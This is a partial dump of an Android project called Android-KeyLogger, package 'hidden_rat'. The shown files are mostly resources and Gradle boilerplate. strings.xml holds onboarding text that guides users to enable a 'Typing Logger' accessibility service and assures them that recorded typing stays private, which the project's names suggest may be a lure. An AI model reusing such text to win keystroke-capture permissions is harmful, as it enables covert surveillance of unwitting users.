https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_semi_bold.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_thin.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_thin.ttf
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_accessibility.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
14 |
15 |
22 |
23 |
30 |
31 |
35 |
36 |
42 |
43 |
47 |
48 |
49 |
56 |
57 |
61 |
62 |
68 |
69 |
73 |
74 |
75 |
82 |
83 |
87 |
88 |
94 |
95 |
99 |
100 |
101 |
108 |
109 |
110 |
111 |
121 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
19 |
20 |
31 |
32 |
33 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/log_item.xml:
--------------------------------------------------------------------------------
1 |
2 |
16 |
17 |
22 |
23 |
24 |
30 |
31 |
41 |
42 |
49 |
50 |
62 |
63 |
66 |
67 |
80 |
81 |
82 |
89 |
90 |
101 |
102 |
103 |
104 |
113 |
114 |
122 |
123 |
130 |
131 |
132 |
148 |
149 |
150 |
164 |
165 |
177 |
178 |
179 |
182 |
183 |
194 |
195 |
196 |
197 |
198 |
199 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/notification_item.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
14 |
15 |
24 |
25 |
36 |
37 |
38 |
50 |
51 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/notification_item_page.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
16 |
17 |
--------------------------------------------------------------------------------
/app/src/main/res/menu/btn.xml:
--------------------------------------------------------------------------------
1 |
2 |
12 |
--------------------------------------------------------------------------------
/app/src/main/res/menu/example_menu.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/app/src/main/res/menu/example_menu2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-hdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-mdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/values-night/themes.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
37 |
--------------------------------------------------------------------------------
/app/src/main/res/values/arrays.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | - Step 1
5 | - Step 2
6 | - Step 3
7 | - Step 4
8 |
9 |
10 | - Не родственник
11 | - Отец
12 | - Мать
13 | - Муж
14 | - Жена
15 | - Сын
16 | - Дочь
17 | - Старший брат
18 | - Младший брат
19 | - Старшая сестра
20 | - Младшая сестра
21 |
22 |
23 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #FFBB86FC
4 | #FF6200EE
5 | #FF3700B3
6 | #FF03DAC5
7 | #FF018786
8 | #FF000000
9 | #FFFFFFFF
10 | #4086ff
11 | #3f51b5
12 | #303f9f
13 | #000000
14 | #ffffff
15 | #297AFF
16 | #b1495a
17 | #5d4157
18 | #d18a96
19 | #727f99
20 |
21 |
22 | #00658e
23 | #297AFF
24 | #FFFFFF
25 | #C7E7FF
26 | #001E2E
27 | #4F616E
28 | #FFFFFF
29 | #D2E5F5
30 | #0B1D29
31 | #62597C
32 | #FFFFFF
33 | #E8DDFF
34 | #1E1635
35 | #BA1A1A
36 | #FFDAD6
37 | #FFFFFF
38 | #410002
39 | #FCFCFF
40 | #191C1E
41 | #FCFCFF
42 | #191C1E
43 | #DDE3EA
44 | #41484D
45 | #71787E
46 | #F0F1F3
47 | #2E3133
48 | #84CFFF
49 | #000000
50 | #00658E
51 | #C1C7CE
52 | #000000
53 | #84CFFF
54 | #297AFF
55 | #004C6C
56 | #C7E7FF
57 | #B6C9D8
58 | #21323E
59 | #374955
60 | #D2E5F5
61 | #CCC0E9
62 | #342B4B
63 | #4A4263
64 | #E8DDFF
65 | #FFB4AB
66 | #93000A
67 | #690005
68 | #FFDAD6
69 | #191C1E
70 | #E2E2E5
71 | #191C1E
72 | #222527
73 | #E2E2E5
74 | #41484D
75 | #C1C7CE
76 | #8B9198
77 | #191C1E
78 | #E2E2E5
79 | #00658E
80 | #000000
81 | #84CFFF
82 | #41484D
83 | #000000
84 |
85 |
--------------------------------------------------------------------------------
/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 16dp
5 | 20sp
6 | 20dp
7 | @dimen/activity_spacing
8 | @dimen/activity_spacing_double
9 | @dimen/activity_spacing_double_double
10 | @dimen/activity_spacing_halve
11 | @dimen/activity_spacing_halve_halve
12 | 16dp
13 | 32dp
14 | 64dp
15 | 8dp
16 | 4dp
17 | @dimen/activity_spacing
18 | @dimen/activity_spacing_double
19 | @dimen/activity_spacing_double_double
20 | @dimen/activity_spacing_halve
21 | @dimen/activity_spacing_halve_halve
22 | 54dp
23 | 16dp
24 | 500dp
25 | 20dp
26 | 1dp
27 | 2dp
28 | 2dp
29 | 64dp
30 | 4dp
31 | 6dp
32 | 8dp
33 | 4dp
34 | 2dp
35 | 320dp
36 | 320dp
37 |
--------------------------------------------------------------------------------
/app/src/main/res/values/font_certs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | - @array/com_google_android_gms_fonts_certs_dev
5 | - @array/com_google_android_gms_fonts_certs_prod
6 |
7 |
8 | -
9 | MIIEqDCCA5CgAwIBAgIJANWFuGx90071MA0GCSqGSIb3DQEBBAUAMIGUMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAeFw0wODA0MTUyMzM2NTZaFw0zNTA5MDEyMzM2NTZaMIGUMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBANbOLggKv+IxTdGNs8/TGFy0PTP6DHThvbbR24kT9ixcOd9W+EaBPWW+wPPKQmsHxajtWjmQwWfna8mZuSeJS48LIgAZlKkpFeVyxW0qMBujb8X8ETrWy550NaFtI6t9+u7hZeTfHwqNvacKhp1RbE6dBRGWynwMVX8XW8N1+UjFaq6GCJukT4qmpN2afb8sCjUigq0GuMwYXrFVee74bQgLHWGJwPmvmLHC69EH6kWr22ijx4OKXlSIx2xT1AsSHee70w5iDBiK4aph27yH3TxkXy9V89TDdexAcKk/cVHYNnDBapcavl7y0RiQ4biu8ymM8Ga/nmzhRKya6G0cGw8CAQOjgfwwgfkwHQYDVR0OBBYEFI0cxb6VTEM8YYY6FbBMvAPyT+CyMIHJBgNVHSMEgcEwgb6AFI0cxb6VTEM8YYY6FbBMvAPyT+CyoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJANWFuGx90071MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADggEBABnTDPEF+3iSP0wNfdIjIz1AlnrPzgAIHVvXxunW7SBrDhEglQZBbKJEk5kT0mtKoOD1JMrSu1xuTKEBahWRbqHsXclaXjoBADb0kkjVEJu/Lh5hgYZnOjvlba8Ld7HCKePCVePoTJBdI4fvugnL8TsgK05aIskyY0hKI9L8KfqfGTl1lzOv2KoWD0KWwtAWPoGChZxmQ+nBli+gwYMzM1vAkP+aayLe0a1EQimlOalO762r0GXO0ks+UeXde2Z4e+8S/pf7pITEI/tP+MxJTALw9QUWEv9lKTk+jkbqxbsh8nfBUapfKqYn0eidpwq2AzVp3juYl7//fKnaPhJD9gs=
10 |
11 |
12 |
13 | -
14 | MIIEQzCCAyugAwIBAgIJAMLgh0ZkSjCNMA0GCSqGSIb3DQEBBAUAMHQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRQwEgYDVQQKEwtHb29nbGUgSW5jLjEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDAeFw0wODA4MjEyMzEzMzRaFw0zNjAxMDcyMzEzMzRaMHQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRQwEgYDVQQKEwtHb29nbGUgSW5jLjEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBAKtWLgDYO6IIrgqWbxJOKdoR8qtW0I9Y4sypEwPpt1TTcvZApxsdyxMJZ2JORland2qSGT2y5b+3JKkedxiLDmpHpDsz2WCbdxgxRczfey5YZnTJ4VZbH0xqWVW/8lGmPav5xVwnIiJS6HXk+BVKZF+JcWjAsb/GEuq/eFdpuzSqeYTcfi6idkyugwfYwXFU1+5fZKUaRKYCwkkFQVfcAs1fXA5V+++FGfvjJ/CxURaSxaBvGdGDhfXE28LWuT9ozCl5xw4Yq5OGazvV24mZVSoOO0yZ31j7kYvtwYK6NeADwbSxDdJEqO4k//0zOHKrUiGYXtqw/A0LFFtqoZKFjnkCAQOjgdkwgdYwHQYDVR0OBBYEFMd9jMIhF1Ylmn/Tgt9r45jk14alMIGmBgNVHSMEgZ4wgZuAFMd9jMIhF1Ylmn/Tgt9r45jk14aloXikdjB0MQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEUMBIGA1UEChMLR29vZ2xlIEluYy4xEDAOBgNVBAsTB0FuZHJvaWQxEDAOBgNVBAMTB0FuZHJvaWSCCQDC4IdGZEowjTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBAUAA4IBAQBt0lLO74UwLDYKqs6Tm8/yzKkEu116FmH4rkaymUIE0P9KaMftGlMexFlaYjzmB2OxZyl6euNXEsQH8gjwyxCUKRJNexBiGcCEyj6z+a1fuHHvkiaai+KL8W1EyNmgjmyy8AW7P+LLlkR+ho5zEHatRbM/YAnqGcFh5iZBqpknHf1SKMXFh4dd239FJ1jWYfbMDMy3NS5CTMQ2XFI1MvcyUTdZPErjQfTbQe3aDQsQcafEQPD+nqActifKZ0Np0IS9L9kR/wbNvyz6ENwPiTrjV2KRkEjH78ZMcUQXg0L3BYHJ3lc69Vs5Ddf9uUGGMYldX3WfMBEmh/9iFBDAaTCK
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/app/src/main/res/values/preloaded_fonts.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | - @font/montserrat_medium
5 |
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | Allow
3 | Accessibility Service «Typing Logger» must be activated manually. Press «Next» and follow the instructions below.
4 | This page looks slightly different in different versions of Android. Look for «Services».
5 | Press «Typing Logger».
6 | Activate «Typing Logger» and press the «Allow» button.
7 | androidx.startup
8 | Typing Logger
9 | Do you want to delete all records of the selected day?
10 | Cancel
11 | Content to be copied
12 | Content to be shared
13 | Delete
14 | This application uses Accessibility Service
15 | Next
16 | File could not be deleted!
17 | OK
18 | The purpose of this application is to record text changes in order to recover them later if they were accidentally deleted. The recorded text is being stored on the device in a secure and private folder which is accessible only by the application. The data will not be transferred or shared with other applications or out of the device without the explicit intention of the user.
19 | Search
20 | Share
21 | 999+
22 | Accessibility Service successfully activated! Type something and return to this app to see the result.
23 | Using Accessibility Service allows the application to record text changes in text input fields.
24 |
25 | Hello blank fragment
26 | Change\n
27 | Agree
28 | Agreements
29 | Legal texts are also available in web
30 | By using this software product you acknowledge that you have read, understand, accept and agree to be bound by following legal texts.
31 | All
32 | All apps
33 | Altitude
34 | Application icon
35 | Application name
36 | Awaiting
37 | Back
38 | Backward
39 | OSM base layer
40 | Netherlands base overlay
41 | Battery
42 | Battery icon
43 | Battery level
44 | Battery level: %1$s
45 | Bearing
46 | Begin
47 | Bing
48 | Blank space
49 | com.google.android.material.bottomsheet.BottomSheetBehavior
50 | Collapse the bottom sheet
51 | Expand the bottom sheet
52 | Expand halfway
53 | Drag handle double-tapped
54 | Drag handle
55 | Buy now
56 | Do you want to cancel the map download?
57 | Cancel map download
58 | Cleaning failed. %s tiles deleted.
59 | Cleaning tiles
60 | Downloading tiles
61 | Type Keeper additional service
62 | Type Keeper service
63 | Additional receiver
64 | Additional service
65 | Advanced text retainer & more
66 | Welcome to Type Keeper. It is designed to automatically save everything you type and copy, in all your apps on your Android device. Just open it whenever you want to view old input entries & copy to clipboard events. By using it you will never lose text typing and clipboard data again.
67 | Have you typed something and then accidentally erased it? Do you want to find an important piece of text you have written in past? An app just stopped and now all your text typing is lost? Or just your want to check your copy to clipboard history?
68 | Job additional service
69 | Job service
70 | Copy
71 | Copy
72 | Copy primary text
73 | Copy Secondary text
74 | Copy text
75 | Copy to clipboard
76 | Link copied to clipboard
77 | Cycle Map
78 | Date
79 | Date/Time
80 | Degree
81 | Degress
82 | Delete
83 | Delete selected
84 | destination title
85 | Developer
86 | pXdWorks
87 | Developer: %1$s
88 | About this app
89 | Agreements
90 | Legal texts available at www.type-keeper.com
91 | Cancel
92 | Done
93 | Everything seems to be done successfully!
94 | Got it
95 | Loading
96 | Please wait while processing requested operation…
97 | Location details
98 | Details about current location
99 | Message (not original)
100 | Mute (don not show) this dialog next 10 times
101 | OK
102 | Receiver
103 | Service
104 | com.google.android.material.appbar.AppBarLayout$ScrollingViewBehavior
105 | Address Not found
106 |
107 |
--------------------------------------------------------------------------------
/app/src/main/res/values/themes.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
37 |
38 |
52 |
53 |
--------------------------------------------------------------------------------
/app/src/main/res/xml/accessibility_service.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/xml/backup_rules.xml:
--------------------------------------------------------------------------------
1 |
8 |
9 |
13 |
--------------------------------------------------------------------------------
/app/src/main/res/xml/data_extraction_rules.xml:
--------------------------------------------------------------------------------
1 |
6 |
7 |
8 |
12 |
13 |
19 |
--------------------------------------------------------------------------------
/app/src/main/res/xml/splits0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/app/src/test/java/com/ratx/hidden_rat/ExampleUnitTest.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat
2 |
3 | import org.junit.Test
4 |
5 | import org.junit.Assert.*
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * See [testing documentation](http://d.android.com/tools/testing).
11 | */
12 | class ExampleUnitTest {
13 | @Test
14 | fun addition_isCorrect() {
15 | assertEquals(4, 2 + 2)
16 | }
17 | }
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | buildscript {
2 | dependencies {
3 | classpath "com.android.tools:r8:8.2.47"
4 | classpath 'com.google.guava:guava:31.1-jre' // <-- THIS IS REQUIRED UNTIL R8 3.2.4-dev
5 | classpath 'com.google.gms:google-services:4.3.13'
6 | }
7 | }// Top-level build file where you can add configuration options common to all sub-projects/modules.
8 | plugins {
9 | id 'com.android.application' version '7.2.2' apply false
10 | id 'com.android.library' version '7.2.2' apply false
11 | id 'org.jetbrains.kotlin.android' version '1.9.0' apply false
12 | }
13 |
14 | task clean(type: Delete) {
15 | delete rootProject.buildDir
16 | }
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
10 | # When configured, Gradle will run in incubating parallel mode.
11 | # This option should only be used with decoupled projects. More details, visit
12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
13 | # org.gradle.parallel=true
14 | # AndroidX package structure to make it clearer which packages are bundled with the
15 | # Android operating system, and which are packaged with your app"s APK
16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn
17 | android.useAndroidX=true
18 | # Kotlin code style for this project: "official" or "obsolete":
19 | kotlin.code.style=official
20 | # Enables namespacing of each library's R class so that its R class includes only the
21 | # resources declared in the library itself and none from the library's dependencies,
22 | # thereby reducing the size of the R class for that library
23 | android.nonTransitiveRClass=true
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Tue Mar 12 13:09:09 UZT 2024
2 | distributionBase=GRADLE_USER_HOME
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
4 | distributionPath=wrapper/dists
5 | zipStorePath=wrapper/dists
6 | zipStoreBase=GRADLE_USER_HOME
7 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | #
4 | # Copyright 2015 the original author or authors.
5 | #
6 | # Licensed under the Apache License, Version 2.0 (the "License");
7 | # you may not use this file except in compliance with the License.
8 | # You may obtain a copy of the License at
9 | #
10 | # https://www.apache.org/licenses/LICENSE-2.0
11 | #
12 | # Unless required by applicable law or agreed to in writing, software
13 | # distributed under the License is distributed on an "AS IS" BASIS,
14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | # See the License for the specific language governing permissions and
16 | # limitations under the License.
17 | #
18 |
19 | ##############################################################################
20 | ##
21 | ## Gradle start up script for UN*X
22 | ##
23 | ##############################################################################
24 |
25 | # Attempt to set APP_HOME
26 | # Resolve links: $0 may be a link
27 | PRG="$0"
28 | # Need this for relative symlinks.
29 | while [ -h "$PRG" ] ; do
30 | ls=`ls -ld "$PRG"`
31 | link=`expr "$ls" : '.*-> \(.*\)$'`
32 | if expr "$link" : '/.*' > /dev/null; then
33 | PRG="$link"
34 | else
35 | PRG=`dirname "$PRG"`"/$link"
36 | fi
37 | done
38 | SAVED="`pwd`"
39 | cd "`dirname \"$PRG\"`/" >/dev/null
40 | APP_HOME="`pwd -P`"
41 | cd "$SAVED" >/dev/null
42 |
43 | APP_NAME="Gradle"
44 | APP_BASE_NAME=`basename "$0"`
45 |
46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
48 |
49 | # Use the maximum available, or set MAX_FD != -1 to use that value.
50 | MAX_FD="maximum"
51 |
52 | warn () {
53 | echo "$*"
54 | }
55 |
56 | die () {
57 | echo
58 | echo "$*"
59 | echo
60 | exit 1
61 | }
62 |
63 | # OS specific support (must be 'true' or 'false').
64 | cygwin=false
65 | msys=false
66 | darwin=false
67 | nonstop=false
68 | case "`uname`" in
69 | CYGWIN* )
70 | cygwin=true
71 | ;;
72 | Darwin* )
73 | darwin=true
74 | ;;
75 | MINGW* )
76 | msys=true
77 | ;;
78 | NONSTOP* )
79 | nonstop=true
80 | ;;
81 | esac
82 |
83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
84 |
85 |
86 | # Determine the Java command to use to start the JVM.
87 | if [ -n "$JAVA_HOME" ] ; then
88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
89 | # IBM's JDK on AIX uses strange locations for the executables
90 | JAVACMD="$JAVA_HOME/jre/sh/java"
91 | else
92 | JAVACMD="$JAVA_HOME/bin/java"
93 | fi
94 | if [ ! -x "$JAVACMD" ] ; then
95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
96 |
97 | Please set the JAVA_HOME variable in your environment to match the
98 | location of your Java installation."
99 | fi
100 | else
101 | JAVACMD="java"
102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
103 |
104 | Please set the JAVA_HOME variable in your environment to match the
105 | location of your Java installation."
106 | fi
107 |
108 | # Increase the maximum file descriptors if we can.
109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
110 | MAX_FD_LIMIT=`ulimit -H -n`
111 | if [ $? -eq 0 ] ; then
112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
113 | MAX_FD="$MAX_FD_LIMIT"
114 | fi
115 | ulimit -n $MAX_FD
116 | if [ $? -ne 0 ] ; then
117 | warn "Could not set maximum file descriptor limit: $MAX_FD"
118 | fi
119 | else
120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
121 | fi
122 | fi
123 |
124 | # For Darwin, add options to specify how the application appears in the dock
125 | if $darwin; then
126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
127 | fi
128 |
129 | # For Cygwin or MSYS, switch paths to Windows format before running java
130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133 |
134 | JAVACMD=`cygpath --unix "$JAVACMD"`
135 |
136 | # We build the pattern for arguments to be converted via cygpath
137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
138 | SEP=""
139 | for dir in $ROOTDIRSRAW ; do
140 | ROOTDIRS="$ROOTDIRS$SEP$dir"
141 | SEP="|"
142 | done
143 | OURCYGPATTERN="(^($ROOTDIRS))"
144 | # Add a user-defined pattern to the cygpath arguments
145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
147 | fi
148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
149 | i=0
150 | for arg in "$@" ; do
151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
153 |
154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
156 | else
157 | eval `echo args$i`="\"$arg\""
158 | fi
159 | i=`expr $i + 1`
160 | done
161 | case $i in
162 | 0) set -- ;;
163 | 1) set -- "$args0" ;;
164 | 2) set -- "$args0" "$args1" ;;
165 | 3) set -- "$args0" "$args1" "$args2" ;;
166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;;
167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
172 | esac
173 | fi
174 |
175 | # Escape application args
176 | save () {
177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
178 | echo " "
179 | }
180 | APP_ARGS=`save "$@"`
181 |
182 | # Collect all arguments for the java command, following the shell quoting and substitution rules
183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
184 |
185 | exec "$JAVACMD" "$@"
186 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @rem
2 | @rem Copyright 2015 the original author or authors.
3 | @rem
4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
5 | @rem you may not use this file except in compliance with the License.
6 | @rem You may obtain a copy of the License at
7 | @rem
8 | @rem https://www.apache.org/licenses/LICENSE-2.0
9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 |
17 | @if "%DEBUG%" == "" @echo off
18 | @rem ##########################################################################
19 | @rem
20 | @rem Gradle startup script for Windows
21 | @rem
